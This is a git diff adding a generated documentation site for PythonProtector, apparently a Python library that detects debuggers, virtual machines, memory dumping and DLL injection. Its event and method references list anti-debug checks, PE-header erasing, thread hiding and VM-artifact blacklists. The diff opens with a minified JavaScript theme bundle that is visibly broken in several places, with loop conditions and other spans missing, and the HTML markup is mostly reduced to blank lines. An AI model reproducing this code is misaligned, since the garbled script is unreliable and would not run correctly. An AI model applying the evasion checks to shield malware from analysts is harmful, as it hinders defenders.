r===t||Array.isArray(r)&&r.includes(t)},e.prototype._addParent=function(t){var r=this._parentage;this._parentage=Array.isArray(r)?(r.push(t),r):r?[r,t]:t},e.prototype._removeParent=function(t){var r=this._parentage;r===t?this._parentage=null:Array.isArray(r)&&De(r,t)},e.prototype.remove=function(t){var r=this._finalizers;r&&De(r,t),t instanceof e&&t._removeParent(this)},e.EMPTY=function(){var t=new e;return t.closed=!0,t}(),e}();var Or=Fe.EMPTY;function It(e){return e instanceof Fe||e&&"closed"in e&&A(e.remove)&&A(e.add)&&A(e.unsubscribe)}function dn(e){A(e)?e():e.unsubscribe()}var Ae={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1};var st={setTimeout:function(e,t){for(var r=[],n=2;n0},enumerable:!1,configurable:!0}),t.prototype._trySubscribe=function(r){return this._throwIfClosed(),e.prototype._trySubscribe.call(this,r)},t.prototype._subscribe=function(r){return this._throwIfClosed(),this._checkFinalizedStatuses(r),this._innerSubscribe(r)},t.prototype._innerSubscribe=function(r){var n=this,o=this,i=o.hasError,a=o.isStopped,s=o.observers;return i||a?Or:(this.currentObservers=null,s.push(r),new Fe(function(){n.currentObservers=null,De(s,r)}))},t.prototype._checkFinalizedStatuses=function(r){var n=this,o=n.hasError,i=n.thrownError,a=n.isStopped;o?r.error(i):a&&r.complete()},t.prototype.asObservable=function(){var r=new U;return r.source=this,r},t.create=function(r,n){return new wn(r,n)},t}(U);var wn=function(e){ne(t,e);function t(r,n){var o=e.call(this)||this;return o.destination=r,o.source=n,o}return t.prototype.next=function(r){var n,o;(o=(n=this.destination)===null||n===void 0?void 0:n.next)===null||o===void 0||o.call(n,r)},t.prototype.error=function(r){var n,o;(o=(n=this.destination)===null||n===void 0?void 0:n.error)===null||o===void 0||o.call(n,r)},t.prototype.complete=function(){var r,n;(n=(r=this.destination)===null||r===void 0?void 0:r.complete)===null||n===void 0||n.call(r)},t.prototype._subscribe=function(r){var n,o;return(o=(n=this.source)===null||n===void 0?void 0:n.subscribe(r))!==null&&o!==void 0?o:Or},t}(E);var Et={now:function(){return(Et.delegate||Date).now()},delegate:void 0};var wt=function(e){ne(t,e);function t(r,n,o){r===void 0&&(r=1/0),n===void 0&&(n=1/0),o===void 0&&(o=Et);var i=e.call(this)||this;return i._bufferSize=r,i._windowTime=n,i._timestampProvider=o,i._buffer=[],i._infiniteTimeWindow=!0,i._infiniteTimeWindow=n===1/0,i._bufferSize=Math.max(1,r),i._windowTime=Math.max(1,n),i}return t.prototype.next=function(r){var n=this,o=n.isStopped,i=n._buffer,a=n._infiniteTimeWindow,s=n._timestampProvider,f=n._windowTime;o||(i.push(r),!a&&i.push(s.now()+f)),this._trimBuffer(),e.prototype.next.call(this,r)},t.prototype._subscribe=function(r){this._throwIfClosed(),this._trimBuffer();for(var n=this._innerSubscribe(r),o=this,i=o._infiniteTimeWindow,a=o._buffer,s=a.slice(),f=0;f0?e.prototype.requestAsyncId.call(this,r,n,o):(r.actions.push(this),r._scheduled||(r._scheduled=ut.requestAnimationFrame(function(){return r.flush(void 0)})))},t.prototype.recycleAsyncId=function(r,n,o){var i;if(o===void 0&&(o=0),o!=null?o>0:this.delay>0)return e.prototype.recycleAsyncId.call(this,r,n,o);var a=r.actions;n!=null&&((i=a[a.length-1])===null||i===void 0?void 0:i.id)!==n&&(ut.cancelAnimationFrame(n),r._scheduled=void 0)},t}(Ut);var On=function(e){ne(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.flush=function(r){this._active=!0;var n=this._scheduled;this._scheduled=void 0;var o=this.actions,i;r=r||o.shift();do if(i=r.execute(r.state,r.delay))break;while((r=o[0])&&r.id===n&&o.shift());if(this._active=!1,i){for(;(r=o[0])&&r.id===n&&o.shift();)r.unsubscribe();throw i}},t}(Wt);var we=new On(Tn);var R=new U(function(e){return e.complete()});function Dt(e){return e&&A(e.schedule)}function kr(e){return e[e.length-1]}function Qe(e){return A(kr(e))?e.pop():void 0}function Se(e){return Dt(kr(e))?e.pop():void 0}function Vt(e,t){return typeof kr(e)=="number"?e.pop():t}var pt=function(e){return e&&typeof e.length=="number"&&typeof e!="function"};function zt(e){return A(e==null?void 0:e.then)}function Nt(e){return A(e[ft])}function qt(e){return Symbol.asyncIterator&&A(e==null?void 0:e[Symbol.asyncIterator])}function Kt(e){return new TypeError("You provided "+(e!==null&&typeof e=="object"?"an invalid object":"'"+e+"'")+" where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.")}function Ki(){return typeof Symbol!="function"||!Symbol.iterator?"@@iterator":Symbol.iterator}var Qt=Ki();function Yt(e){return A(e==null?void 0:e[Qt])}function Gt(e){return ln(this,arguments,function(){var r,n,o,i;return Pt(this,function(a){switch(a.label){case 0:r=e.getReader(),a.label=1;case 1:a.trys.push([1,,9,10]),a.label=2;case 2:return[4,Xe(r.read())];case 3:return n=a.sent(),o=n.value,i=n.done,i?[4,Xe(void 0)]:[3,5];case 4:return[2,a.sent()];case 5:return[4,Xe(o)];case 6:return[4,a.sent()];case 7:return a.sent(),[3,2];case 8:return[3,10];case 9:return r.releaseLock(),[7];case 10:return[2]}})})}function Bt(e){return A(e==null?void 0:e.getReader)}function $(e){if(e instanceof U)return e;if(e!=null){if(Nt(e))return Qi(e);if(pt(e))return Yi(e);if(zt(e))return Gi(e);if(qt(e))return _n(e);if(Yt(e))return Bi(e);if(Bt(e))return Ji(e)}throw Kt(e)}function Qi(e){return new U(function(t){var r=e[ft]();if(A(r.subscribe))return r.subscribe(t);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}function Yi(e){return new U(function(t){for(var r=0;r=2;return function(n){return n.pipe(e?_(function(o,i){return e(o,i,n)}):me,Oe(1),r?He(t):zn(function(){return new Xt}))}}function Nn(){for(var e=[],t=0;t=2,!0))}function fe(e){e===void 0&&(e={});var t=e.connector,r=t===void 0?function(){return new E}:t,n=e.resetOnError,o=n===void 0?!0:n,i=e.resetOnComplete,a=i===void 0?!0:i,s=e.resetOnRefCountZero,f=s===void 0?!0:s;return function(c){var u,p,m,d=0,h=!1,v=!1,B=function(){p==null||p.unsubscribe(),p=void 0},re=function(){B(),u=m=void 0,h=v=!1},z=function(){var T=u;re(),T==null||T.unsubscribe()};return g(function(T,Ke){d++,!v&&!h&&B();var We=m=m!=null?m:r();Ke.add(function(){d--,d===0&&!v&&!h&&(p=jr(z,f))}),We.subscribe(Ke),!u&&d>0&&(u=new et({next:function(Ie){return We.next(Ie)},error:function(Ie){v=!0,B(),p=jr(re,o,Ie),We.error(Ie)},complete:function(){h=!0,B(),p=jr(re,a),We.complete()}}),$(T).subscribe(u))})(c)}}function jr(e,t){for(var r=[],n=2;ne.next(document)),e}function K(e,t=document){return Array.from(t.querySelectorAll(e))}function V(e,t=document){let r=se(e,t);if(typeof r=="undefined")throw new ReferenceError(`Missing element: expected "${e}" to be present`);return r}function se(e,t=document){return t.querySelector(e)||void 0}function _e(){return document.activeElement instanceof HTMLElement&&document.activeElement||void 0}function tr(e){return L(b(document.body,"focusin"),b(document.body,"focusout")).pipe(ke(1),l(()=>{let t=_e();return typeof t!="undefined"?e.contains(t):!1}),N(e===_e()),Y())}function Be(e){return{x:e.offsetLeft,y:e.offsetTop}}function Yn(e){return L(b(window,"load"),b(window,"resize")).pipe(Ce(0,we),l(()=>Be(e)),N(Be(e)))}function rr(e){return{x:e.scrollLeft,y:e.scrollTop}}function dt(e){return L(b(e,"scroll"),b(window,"resize")).pipe(Ce(0,we),l(()=>rr(e)),N(rr(e)))}var Bn=function(){if(typeof Map!="undefined")return Map;function e(t,r){var n=-1;return t.some(function(o,i){return o[0]===r?(n=i,!0):!1}),n}return function(){function t(){this.__entries__=[]}return Object.defineProperty(t.prototype,"size",{get:function(){return this.__entries__.length},enumerable:!0,configurable:!0}),t.prototype.get=function(r){var n=e(this.__entries__,r),o=this.__entries__[n];return o&&o[1]},t.prototype.set=function(r,n){var o=e(this.__entries__,r);~o?this.__entries__[o][1]=n:this.__entries__.push([r,n])},t.prototype.delete=function(r){var n=this.__entries__,o=e(n,r);~o&&n.splice(o,1)},t.prototype.has=function(r){return!!~e(this.__entries__,r)},t.prototype.clear=function(){this.__entries__.splice(0)},t.prototype.forEach=function(r,n){n===void 0&&(n=null);for(var o=0,i=this.__entries__;o0},e.prototype.connect_=function(){!zr||this.connected_||(document.addEventListener("transitionend",this.onTransitionEnd_),window.addEventListener("resize",this.refresh),xa?(this.mutationsObserver_=new MutationObserver(this.refresh),this.mutationsObserver_.observe(document,{attributes:!0,childList:!0,characterData:!0,subtree:!0})):(document.addEventListener("DOMSubtreeModified",this.refresh),this.mutationEventsAdded_=!0),this.connected_=!0)},e.prototype.disconnect_=function(){!zr||!this.connected_||(document.removeEventListener("transitionend",this.onTransitionEnd_),window.removeEventListener("resize",this.refresh),this.mutationsObserver_&&this.mutationsObserver_.disconnect(),this.mutationEventsAdded_&&document.removeEventListener("DOMSubtreeModified",this.refresh),this.mutationsObserver_=null,this.mutationEventsAdded_=!1,this.connected_=!1)},e.prototype.onTransitionEnd_=function(t){var r=t.propertyName,n=r===void 0?"":r,o=ya.some(function(i){return!!~n.indexOf(i)});o&&this.refresh()},e.getInstance=function(){return this.instance_||(this.instance_=new e),this.instance_},e.instance_=null,e}(),Jn=function(e,t){for(var r=0,n=Object.keys(t);r0},e}(),Zn=typeof WeakMap!="undefined"?new WeakMap:new Bn,eo=function(){function e(t){if(!(this instanceof e))throw new TypeError("Cannot call a class as a function.");if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");var r=Ea.getInstance(),n=new Ra(t,r,this);Zn.set(this,n)}return e}();["observe","unobserve","disconnect"].forEach(function(e){eo.prototype[e]=function(){var t;return(t=Zn.get(this))[e].apply(t,arguments)}});var ka=function(){return typeof nr.ResizeObserver!="undefined"?nr.ResizeObserver:eo}(),to=ka;var ro=new E,Ha=I(()=>H(new to(e=>{for(let t of e)ro.next(t)}))).pipe(x(e=>L(Te,H(e)).pipe(C(()=>e.disconnect()))),J(1));function de(e){return{width:e.offsetWidth,height:e.offsetHeight}}function ge(e){return Ha.pipe(S(t=>t.observe(e)),x(t=>ro.pipe(_(({target:r})=>r===e),C(()=>t.unobserve(e)),l(()=>de(e)))),N(de(e)))}function bt(e){return{width:e.scrollWidth,height:e.scrollHeight}}function ar(e){let t=e.parentElement;for(;t&&(e.scrollWidth<=t.scrollWidth&&e.scrollHeight<=t.scrollHeight);)t=(e=t).parentElement;return t?e:void 0}var no=new E,Pa=I(()=>H(new IntersectionObserver(e=>{for(let t of e)no.next(t)},{threshold:0}))).pipe(x(e=>L(Te,H(e)).pipe(C(()=>e.disconnect()))),J(1));function sr(e){return Pa.pipe(S(t=>t.observe(e)),x(t=>no.pipe(_(({target:r})=>r===e),C(()=>t.unobserve(e)),l(({isIntersecting:r})=>r))))}function oo(e,t=16){return dt(e).pipe(l(({y:r})=>{let n=de(e),o=bt(e);return r>=o.height-n.height-t}),Y())}var cr={drawer:V("[data-md-toggle=drawer]"),search:V("[data-md-toggle=search]")};function io(e){return cr[e].checked}function qe(e,t){cr[e].checked!==t&&cr[e].click()}function je(e){let t=cr[e];return b(t,"change").pipe(l(()=>t.checked),N(t.checked))}function $a(e,t){switch(e.constructor){case HTMLInputElement:return e.type==="radio"?/^Arrow/.test(t):!0;case HTMLSelectElement:case HTMLTextAreaElement:return!0;default:return e.isContentEditable}}function Ia(){return L(b(window,"compositionstart").pipe(l(()=>!0)),b(window,"compositionend").pipe(l(()=>!1))).pipe(N(!1))}function ao(){let e=b(window,"keydown").pipe(_(t=>!(t.metaKey||t.ctrlKey)),l(t=>({mode:io("search")?"search":"global",type:t.key,claim(){t.preventDefault(),t.stopPropagation()}})),_(({mode:t,type:r})=>{if(t==="global"){let n=_e();if(typeof n!="undefined")return!$a(n,r)}return!0}),fe());return Ia().pipe(x(t=>t?R:e))}function Me(){return new URL(location.href)}function ot(e){location.href=e.href}function so(){return new E}function co(e,t){if(typeof t=="string"||typeof t=="number")e.innerHTML+=t.toString();else if(t instanceof Node)e.appendChild(t);else if(Array.isArray(t))for(let r of t)co(e,r)}function M(e,t,...r){let n=document.createElement(e);if(t)for(let o of Object.keys(t))typeof t[o]!="undefined"&&(typeof t[o]!="boolean"?n.setAttribute(o,t[o]):n.setAttribute(o,""));for(let o of r)co(n,o);return n}function fr(e){if(e>999){let t=+((e-950)%1e3>99);return`${((e+1e-6)/1e3).toFixed(t)}k`}else return e.toString()}function fo(){return location.hash.substring(1)}function uo(e){let t=M("a",{href:e});t.addEventListener("click",r=>r.stopPropagation()),t.click()}function Fa(){return b(window,"hashchange").pipe(l(fo),N(fo()),_(e=>e.length>0),J(1))}function po(){return Fa().pipe(l(e=>se(`[id="${e}"]`)),_(e=>typeof e!="undefined"))}function Nr(e){let t=matchMedia(e);return Zt(r=>t.addListener(()=>r(t.matches))).pipe(N(t.matches))}function lo(){let e=matchMedia("print");return L(b(window,"beforeprint").pipe(l(()=>!0)),b(window,"afterprint").pipe(l(()=>!1))).pipe(N(e.matches))}function qr(e,t){return e.pipe(x(r=>r?t():R))}function ur(e,t={credentials:"same-origin"}){return ve(fetch(`${e}`,t)).pipe(ce(()=>R),x(r=>r.status!==200?Tt(()=>new Error(r.statusText)):H(r)))}function Ue(e,t){return ur(e,t).pipe(x(r=>r.json()),J(1))}function mo(e,t){let r=new DOMParser;return ur(e,t).pipe(x(n=>n.text()),l(n=>r.parseFromString(n,"text/xml")),J(1))}function pr(e){let t=M("script",{src:e});return I(()=>(document.head.appendChild(t),L(b(t,"load"),b(t,"error").pipe(x(()=>Tt(()=>new ReferenceError(`Invalid script: ${e}`))))).pipe(l(()=>{}),C(()=>document.head.removeChild(t)),Oe(1))))}function ho(){return{x:Math.max(0,scrollX),y:Math.max(0,scrollY)}}function bo(){return L(b(window,"scroll",{passive:!0}),b(window,"resize",{passive:!0})).pipe(l(ho),N(ho()))}function vo(){return{width:innerWidth,height:innerHeight}}function go(){return b(window,"resize",{passive:!0}).pipe(l(vo),N(vo()))}function yo(){return Q([bo(),go()]).pipe(l(([e,t])=>({offset:e,size:t})),J(1))}function lr(e,{viewport$:t,header$:r}){let n=t.pipe(X("size")),o=Q([n,r]).pipe(l(()=>Be(e)));return Q([r,t,o]).pipe(l(([{height:i},{offset:a,size:s},{x:f,y:c}])=>({offset:{x:a.x-f,y:a.y-c+i},size:s})))}(()=>{function e(n,o){parent.postMessage(n,o||"*")}function t(...n){return n.reduce((o,i)=>o.then(()=>new Promise(a=>{let s=document.createElement("script");s.src=i,s.onload=a,document.body.appendChild(s)})),Promise.resolve())}var r=class{constructor(n){this.url=n,this.onerror=null,this.onmessage=null,this.onmessageerror=null,this.m=a=>{a.source===this.w&&(a.stopImmediatePropagation(),this.dispatchEvent(new MessageEvent("message",{data:a.data})),this.onmessage&&this.onmessage(a))},this.e=(a,s,f,c,u)=>{if(s===this.url.toString()){let p=new ErrorEvent("error",{message:a,filename:s,lineno:f,colno:c,error:u});this.dispatchEvent(p),this.onerror&&this.onerror(p)}};let o=new EventTarget;this.addEventListener=o.addEventListener.bind(o),this.removeEventListener=o.removeEventListener.bind(o),this.dispatchEvent=o.dispatchEvent.bind(o);let i=document.createElement("iframe");i.width=i.height=i.frameBorder="0",document.body.appendChild(this.iframe=i),this.w.document.open(),this.w.document.write(` + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Contributor Covenant Code of Conduct

+

Our Pledge

+

In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.

+

Our Standards

+

Examples of behavior that contributes to creating a positive environment include:

+
    +
  • Using welcoming and inclusive language
  • +
  • Being respectful of differing viewpoints and experiences
  • +
  • Gracefully accepting constructive criticism
  • +
  • Focusing on what is best for the community
  • +
  • Showing empathy towards other community members
  • +
+

Examples of unacceptable behavior by participants include:

+
    +
  • The use of sexualized language or imagery and unwelcome sexual attention or advances
  • +
  • Trolling, insulting/derogatory comments, and personal or political attacks
  • +
  • Public or private harassment
  • +
  • Publishing others' private information, such as a physical or electronic address, without explicit permission
  • +
  • Other conduct which could reasonably be considered inappropriate in a professional setting
  • +
+

Our Responsibilities

+

Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.

+

Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.

+

Scope

+

This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.

+

Enforcement

+

Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the Project Leader on Discord Via DMing ghoul#0002. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.

+

Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.

+

Attribution

+

This Code of Conduct is adapted from the Contributor Covenant, version 1.4, available at https://contributor-covenant.org/version/1/4

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Events/index.html b/configuration/Events/index.html new file mode 100755 index 0000000..10109fc --- /dev/null +++ b/configuration/Events/index.html @@ -0,0 +1,937 @@ + + + + + + + + + + + + + + + + + + + + + + + + Intro To Events - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Intro To Events

+

Events is a system implemented to notify when a specific function has raised a detection.

+

There are two events that are called when the application detects suspicious activity, pyprotector_detect and the function's specific event found in the event reference.

+

Example pyprotector_detect Event:

+
@security.event.obs.on("pyprotector_detect")
+def on_pyprotector_detect(text: str, module: str, **kwargs):
+    print(f"{module} - {text}\nKwargs: {kwargs}")
+
+

Example Function Specific Event:

+
@security.event.obs.on("process_running") 
+def on_process_running(text: str, module: str, process: psutil.Process):
+    print(f"{module} - {text}\nProcess Name: {process.name()}")
+    # Free To Do Whatever You Want Here...
+
+

Events Will Always Return text and module, any other kwargs are event specific.

+

You Can Find All Events In Each Modules Respective Event Reference.

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti Analysis/events/index.html b/configuration/Modules/Anti Analysis/events/index.html new file mode 100755 index 0000000..54f683f --- /dev/null +++ b/configuration/Modules/Anti Analysis/events/index.html @@ -0,0 +1,986 @@ + + + + + + + + + + + + + + + + + + + + + + + + Event Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Event Reference

+ +

Anti Analysis

+
debug_privilege_found()
+
+

Called When Debug Privilege Found Enabled

+
debug_object_handle_found()
+
+

Called When Debug Object Handle Found

+
nt_global_flag_debugged()
+
+

Called When NT_GLOBAL_FLAG_DEBUGGED Is Found In The Process Environment Block

+
hardware_breakpoint_set()
+
+

Called When Hardware Breakpoints Are Found Set

+
debug_filter_state()
+
+

Called When Debug Filter State != 0

+
peb_being_debugged()
+
+

Called When peb.BeingDebugged == True

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti Analysis/index.html b/configuration/Modules/Anti Analysis/index.html new file mode 100755 index 0000000..f7620c2 --- /dev/null +++ b/configuration/Modules/Anti Analysis/index.html @@ -0,0 +1,1113 @@ + + + + + + + + + + + + + + + + + + + + + + + + Method Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Anti Analysis

+

Methods

+

CheckDebugPrivilege

+

Checks If Debug Privilege is Found Enabled

+

HideThreads

+

Hides Current Process Thread

+

CheckDebugObject

+

Checks if A Debug Object Handle Handle Has Been Found

+

CheckSEDebugName

+

Checks if SE_DEBUG_NAME privilege is found

+

CheckNtGlobalFlag

+

Checks if NT_GLOBAL_FLAG_DEBUGGED is Found in the Process Environment Block

+

CheckHardwareBreakpoints

+

Checks for set Hardware Breakpoints

+

CheckDebugFilterState

+

Checks if Debug Filter State != 0

+

CheckPEB

+

Checks if peb.BeingDebugged == True

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti DLL/events/index.html b/configuration/Modules/Anti DLL/events/index.html new file mode 100755 index 0000000..ecbeeee --- /dev/null +++ b/configuration/Modules/Anti DLL/events/index.html @@ -0,0 +1,1001 @@ + + + + + + + + + + + + + + + + + + + + + + + + Event Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Event Reference

+ +

Anti DLL

+
dll_attach(dlls: List[str])
+
+

Called When Blacklisted DLL's Found Attached To Current Process

+
Parameters
+
    +
  • dlls (List[str]) - List Of Loaded DLL's
  • +
+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti DLL/index.html b/configuration/Modules/Anti DLL/index.html new file mode 100755 index 0000000..1ae598c --- /dev/null +++ b/configuration/Modules/Anti DLL/index.html @@ -0,0 +1,1001 @@ + + + + + + + + + + + + + + + + + + + + + + + + Method Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Anti DLL

+

Methods

+

BlockDLLs

+

Blocks DLL's That Match A Given List Being Injected Into Our Process

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti Dump/events/index.html b/configuration/Modules/Anti Dump/events/index.html new file mode 100755 index 0000000..10abbf3 --- /dev/null +++ b/configuration/Modules/Anti Dump/events/index.html @@ -0,0 +1,971 @@ + + + + + + + + + + + + + + + + + + + + + + + + Event Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Event Reference

+ +

Anti Dump

+

pe_header_erased()
+
+Called When PE Header Is Erased

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti Dump/index.html b/configuration/Modules/Anti Dump/index.html new file mode 100755 index 0000000..c3f962f --- /dev/null +++ b/configuration/Modules/Anti Dump/index.html @@ -0,0 +1,1001 @@ + + + + + + + + + + + + + + + + + + + + + + + + Method Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Anti Dump

+

Methods

+

ErasePEHeaderFromMemory

+

Erases PE Header From Memory

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti Process/events/index.html b/configuration/Modules/Anti Process/events/index.html new file mode 100755 index 0000000..2297828 --- /dev/null +++ b/configuration/Modules/Anti Process/events/index.html @@ -0,0 +1,1022 @@ + + + + + + + + + + + + + + + + + + + + + + + + Event Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Event Reference

+ +

Anti Process

+
process_running(process: psutil.Process)
+
+

Called When Blacklisted Process Found Running

+
Parameters
+ +
window_name_detected(window_name: str)
+
+

Called When Blacklisted Window Name Found

+
Parameters
+
    +
  • window_name (str) - Window Name
  • +
+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti Process/index.html b/configuration/Modules/Anti Process/index.html new file mode 100755 index 0000000..0bbca3a --- /dev/null +++ b/configuration/Modules/Anti Process/index.html @@ -0,0 +1,1017 @@ + + + + + + + + + + + + + + + + + + + + + + + + Method Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Anti Process

+

Methods

+

CheckProcessList

+

Checks Current Process List Against A List To Detect Harmful Programs

+

CheckWindowNames

+

Checks Current Window Name Against A List To Detect Harmful Programs

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti VM/events/index.html b/configuration/Modules/Anti VM/events/index.html new file mode 100755 index 0000000..b7825cc --- /dev/null +++ b/configuration/Modules/Anti VM/events/index.html @@ -0,0 +1,1249 @@ + + + + + + + + + + + + + + + + + + + + + + + + Event Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Event Reference

+ +

Anti VM

+
blacklisted_hwid(hwid: str)
+
+

Called When Blacklisted HWID Found Detected

+
Parameters
+
    +
  • hwid (str) - Blacklisted HWID
  • +
+
blacklisted_pc_username(pc_username: str)
+
+

Called When Blacklisted PC Username Found

+
Parameters
+
    +
  • pc_username (str) - Blacklisted PC Username
  • +
+
blacklisted_pc_name(pc_name: str)
+
+

Called When Blacklisted PC Name Found

+
Parameters
+
    +
  • pc_name (str) - Blacklisted PC Name
  • +
+
blacklisted_ip(ip: str)
+
+

Called When Blacklisted IP Found

+
Parameters
+
    +
  • ip (str) - Blacklisted IP
  • +
+
blacklisted_mac_address(mac_addr: str)
+
+

Called When Blacklisted Mac Address Found

+
Parameters
+
    +
  • mac_addr (str) - Blacklisted Mac Address
  • +
+
Parameters
+
blacklisted_gpu(gpu: str)
+
+

Called When Blacklisted GPU Found

+
Parameters
+
    +
  • gpu (str) - Blacklisted GPU
  • +
+
vmware_registry(reg1: int, reg2: int)
+
+

Called When VMWare Registry Found

+
Parameters
+
    +
  • reg1 (int) - VMWare Registry Identifier
  • +
  • reg2 (int) - VMWare Registry Identifier
  • +
+
vmware_mac(mac_addr: str)
+
+

Called When VMWare MAC Address Found

+
Parameters
+
    +
  • mac_addr (str) - VMWare MAC Address
  • +
+
screen_size(x: int, y: int)
+
+

Called When x <= 200 or y <= 200

+
Parameters
+
    +
  • x (int) - Screen Size X
  • +
  • y (int) - Screen Size Y
  • +
+
vm_process_running(processes: List[str])
+
+

Called When VM Processes Found Running

+
Parameters
+
    +
  • processes (List[str]) - List Of Processes
  • +
+
vmware_dll(dll: str)
+
+

Called When VMWare DLL Found

+
Parameters
+
    +
  • dll (str) - VMWare DLL
  • +
+
virtualbox_dll(dll: str)
+
+

Called When VirtualBox DLL Found

+
Parameters
+
    +
  • dll (str) - VirtualBox DLL
  • +
+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/configuration/Modules/Anti VM/index.html b/configuration/Modules/Anti VM/index.html new file mode 100755 index 0000000..0c8676e --- /dev/null +++ b/configuration/Modules/Anti VM/index.html @@ -0,0 +1,1081 @@ + + + + + + + + + + + + + + + + + + + + + + + + Method Reference - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Anti VM
